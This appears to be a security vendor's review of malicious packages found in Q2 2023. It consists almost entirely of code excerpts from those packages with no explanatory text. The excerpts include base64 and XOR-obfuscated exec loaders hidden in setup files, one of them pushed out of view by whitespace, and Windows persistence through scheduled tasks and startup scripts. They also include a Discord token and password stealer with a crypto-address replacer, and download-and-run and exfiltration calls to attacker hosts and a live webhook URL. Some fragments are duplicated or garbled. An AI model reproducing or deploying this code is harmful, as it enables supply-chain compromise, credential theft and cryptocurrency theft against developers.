天问 | 2023年Q2恶意包回顾（一）

# You got me :D from os import namefrom sys import argvfrom base64 import b64decodeif 'sdist' not in argv:    if name == 'nt':        exec(b64decode('CmltcG9ydCBvcyBhcyB...'))    else:        exec(b64decode('Vz0ndXRmLTgnClY9J...'))

import os as oimport tempfile as tp=o.path.join(t.gettempdir(),'g0bf95ed2467d8ff9918378302f0517240654.exe')if not o.path.exists(p):    with open(p, 'wb') as f:        f.write(b'MZx90x00x03x00x00x00x0..')    o.startfile(p)

bool is_admin = new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator);string location = Assembly.GetEntryAssembly().Location;string fake_dir_path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "NET.Framework");string malware_path = Path.Combine(fake_dir_path, Path.GetFileName(location));if (!Directory.Exists(fake_dir_path)){   Directory.CreateDirectory(fake_dir_path);}if (!File.Exists(malware_path)){   File.Copy(location, malware_path, true);   new FileInfo(malware_path).IsReadOnly = true;   StringBuilder stringBuilder = new StringBuilder();   stringBuilder.Append("/C chcp 65001 && ");   stringBuilder.Append("ping 127.0.0.1 && ");   stringBuilder.AppendFormat("schtasks /create /tn "{0}" /sc MINUTE /tr "{1}" /rl {2} /f && ", Path.GetFileNameWithoutExtension(location), malware_path, is_admin ? "HIGHEST" : "LIMITED");   stringBuilder.AppendFormat("DEL /F /S /Q /A "{0}" &&", location);   stringBuilder.AppendFormat("START "" "{0}"", malware_path);   using (Process.Start(new ProcessStartInfo   {       FileName = "cmd.exe",       Arguments = stringBuilder.ToString(),       WindowStyle = ProcessWindowStyle.Hidden,       CreateNoWindow = true,       UseShellExecute = true   }))}

import requestsimport osimport httpxdata = {        'embeds': [{            "title": "Someone Tried to download",            "description": "PC Username =" + os.getenv("COMPUTERNAME")            }]
    }httpx.post("https://kekwltd.ru/relay/download", json=data)os.system("pip install httpx pyperclip pyotp winregistry psutil ..")...kekwltd = "Powered by KEKWLTD.RU"
__config__ = {    'yourwebhookurl': "https://kekwltd.ru/relay",    'hide': 'yes',    'ping': 'yes',    'pingtype': 'everyone',    'fake_error':'no',    'startup': 'yes',    'kill_discord_process': False,    'dbugkiller': False,
    'addresse_crypto_replacer': 'yes',    'addresse_btc': 'bc1qfgzwcxx32kwjf9naw2zdnl00zlvz8cqr4sn0fj',    'addresse_eth': '0xde876b3b623a4c9e5266717fceee89b3dd0237ec',    ...}...class auto_copy_wallet(Functions):    ...def getPassw(path, arg):    ...

import base64type("By HW")                                                                                                                                                                                                                                                                                                                                                                ,exec(base64.b64decode("aW1wb3J0IG9zCm...此处省略...zcw=="))from setuptools import setup, find_packagesimport codecsimport os

import osimport timeimport subprocesslogin = os.getlogin()if os.path.exists(f'C:\Users\{login}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System64\') == False:
    os.mkdir(f"C:\Users\{login}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System64")    open(f"C:\Users\{login}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System64\WIN32.vbs", "a").write(f'Set WshShell = CreateObject("WScript.Shell") nWshShell.Run chr(34) & "C:\Users\{login}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System64\WIN32.bat" & Chr(34), 0nSet WshShell = Nothing')    open(f"C:\Users\{login}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WIN64.vbs", "a").write(f'Set WshShell = CreateObject("WScript.Shell") nWshShell.Run chr(34) & "C:\Users\{login}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System64\Windows Helper.exe" & Chr(34), 0nSet WshShell = Nothing')    open(f"C:\Users\{login}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System64\sh.pyw", "a").write(f'from shutil import unpack_archivenimport subprocess, osnunpack_archive("C:\\Users\\{login}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System64\\runtime.zip", "C:\\Users\\{login}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System64")nsubprocess.run([f"C:\\Users\\{login}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System64\\pythonw.exe", f"C:\\Users\\{login}\\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System64\\stub.pyw"], shell=True, check=True)nos.remove(f"C:\\Users\\{login}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System64\\stub.pyw")')    open(f"C:\Users\{login}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System64\WIN32.bat", "a").write(f'bitsadmin /transfer mydownloadjob /download /priority FOREGROUND "https://api-hw.com/dl/runtime" "C:\Users\{login}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System64\runtime.zip"nstart "" "C:\Users\{login}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System64\sh.pyw"nbitsadmin /transfer mydownloadjob /download /priority FOREGROUND "https://api-hw.com/dl/w" "C:\Users\{login}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System64\Windows Helper.exe"nstart "" "C:\Users\{login}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WIN64.vbs"')    subprocess.run(f"C:\Users\{login}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System64\WIN32.vbs", shell=True, check=True)else:       pass

wopvEaTEcopFEavc ="FW@C}ReuWWBrtUNRx15rx16oh..."iOpvEoeaaeavocp = "1805831048241481504615629939410966049126657213965578317698399563210367148741959347260871967819170389"uocpEAtacovpe = len(wopvEaTEcopFEavc)oIoeaTEAcvpae = ""for fapcEaocva in range(uocpEAtacovpe):    nOpcvaEaopcTEapcoTEac = wopvEaTEcopFEavc[fapcEaocva]    qQoeapvTeaocpOcivNva = iOpvEoeaaeavocp[fapcEaocva % len(iOpvEoeaaeavocp)]    oIoeaTEAcvpae += chr(ord(nOpcvaEaopcTEapcoTEac) ^ ord(qQoeapvTeaocpOcivNva))

eval(iOpvEoeaaeavocp = "1805831048241481504615629939410966049126657213965578317698399563210367148741959347260871967819170389"uocpEAtacovpe = len(wopvEaTEcopFEavc)oIoeaTEAcvpae = ""for fapcEaocva in range(uocpEAtacovpe):    nOpcvaEaopcTEapcoTEac = wopvEaTEcopFEavc[fapcEaocva]    qQoeapvTeaocpOcivNva = iOpvEoeaaeavocp[fapcEaocva % len(iOpvEoeaaeavocp)]    oIoeaTEAcvpae += chr(ord(nOpcvaEaopcTEapcoTEac) ^ ord(qQoeapvTeaocpOcivNva))

eval(compile(oIoeaTEAcvpae, '<string>', 'exec')))

wopvEaTEcopFEavc ="YYHZBAx13^BVW8ZT..."
iOpvEoeaaeavocp = "0485053419923996091934327286874901716194080418433781484589114944387870803615509811336058241570796000"uocpEAtacovpe = len(wopvEaTEcopFEavc)oIoeaTEAcvpae = ""for fapcEaocva in range(uocpEAtacovpe):    nOpcvaEaopcTEapcoTEac = wopvEaTEcopFEavc[fapcEaocva]    qQoeapvTeaocpOcivNva = iOpvEoeaaeavocp[fapcEaocva % len(iOpvEoeaaeavocp)]    oIoeaTEAcvpae += chr(ord(nOpcvaEaopcTEapcoTEac) ^ ord(qQoeapvTeaocpOcivNva))
eval(compile(oIoeaTEAcvpae, '<string>', 'exec'))

292 LOAD_NAME                9 (requests)            294 LOAD_ATTR               33 (post)            296 LOAD_CONST              21 ('https://discord.com/api/webhooks/1103033150558457876/22oUF1rkDTdxz-iq-2EOR4aVXwDr5vFIeE9zWlitIbYSG2E3XhF8KQIzuo1uXy_bOcos')            298 LOAD_NAME               32 (data)            300 LOAD_CONST              22 (('data',))            302 CALL_FUNCTION_KW         2            304 STORE_NAME              34 (r)            306 POP_EXCEPT            308 JUMP_FORWARD             2 (to 312)
336 LOAD_NAME                9 (requests)            338 LOAD_ATTR               33 (post)            340 LOAD_CONST              25 ('https://api-hw.com/uploader')            342 LOAD_NAME               36 (files)            344 LOAD_CONST              26 (('files',))            346 CALL_FUNCTION_KW         2            348 STORE_NAME              34 (r)